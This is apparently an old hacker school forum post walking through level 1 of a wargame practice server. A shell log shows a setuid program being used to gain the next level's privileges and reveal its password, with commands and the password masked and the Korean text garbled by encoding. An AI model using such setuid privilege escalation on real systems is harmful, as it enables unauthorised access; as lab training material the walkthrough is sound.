http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Board&no=201 [º¹»ç]
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- Paper for hackerschool wargames -
¡Ú¡Ú¡Ú¡Ú<¡Ú¡Ú¡Ú@hanmail.net>
wargame address : ftz.hackerschool.org
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Problem :: level1
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[level2@ftz level2]$ ¡Ú¡Ú¡Ú¡Ú
"level2 ±ÇÇÑ¿¡ setuid°¡ °É¸° ÆÄÀÏÀ» ã´Â´Ù."
[level2@ftz level2]$
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[level1@ftz level1]$ ¡Ú¡Ú¡Ú¡Ú¡Ú¡Ú¡Ú¡Ú¡Ú¡Ú¡Ú¡Ú¡Ú¡Ú¡Ú¡Ú¡Ú¡Ú¡Ú
/bin/ExcuteMe
[level1@ftz level1]$ ¡Ú¡Ú¡Ú¡Ú¡Ú
·¹º§2ÀÇ ±ÇÇÑÀ¸·Î ´ç½ÅÀÌ ¿øÇÏ´Â ¸í·É¾î¸¦
ÇÑ°¡Áö ½ÇÇà½ÃÄÑ µå¸®°Ú½À´Ï´Ù.
(´Ü, my-pass ¿Í chmod´Â Á¦¿Ü)
¾î¶² ¸í·ÉÀ» ½ÇÇà½ÃÅ°°Ú½À´Ï±î?
[level2@ftz level2]$ ¡Ú¡Ú¡Ú¡Ú
[level2@ftz level2]$ ¡Ú¡Ú
uid=3002(level2) gid=3001(level1) groups=3001(level1)
[level2@ftz level2]$ ¡Ú¡Ú¡Ú
Level2 Password is ¡Ú¡Ú¡Ú¡Ú¡Ú¡Ú¡Ú
[level2@ftz level2]$
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Hit : 9602 Date : 2003/09/07 08:18
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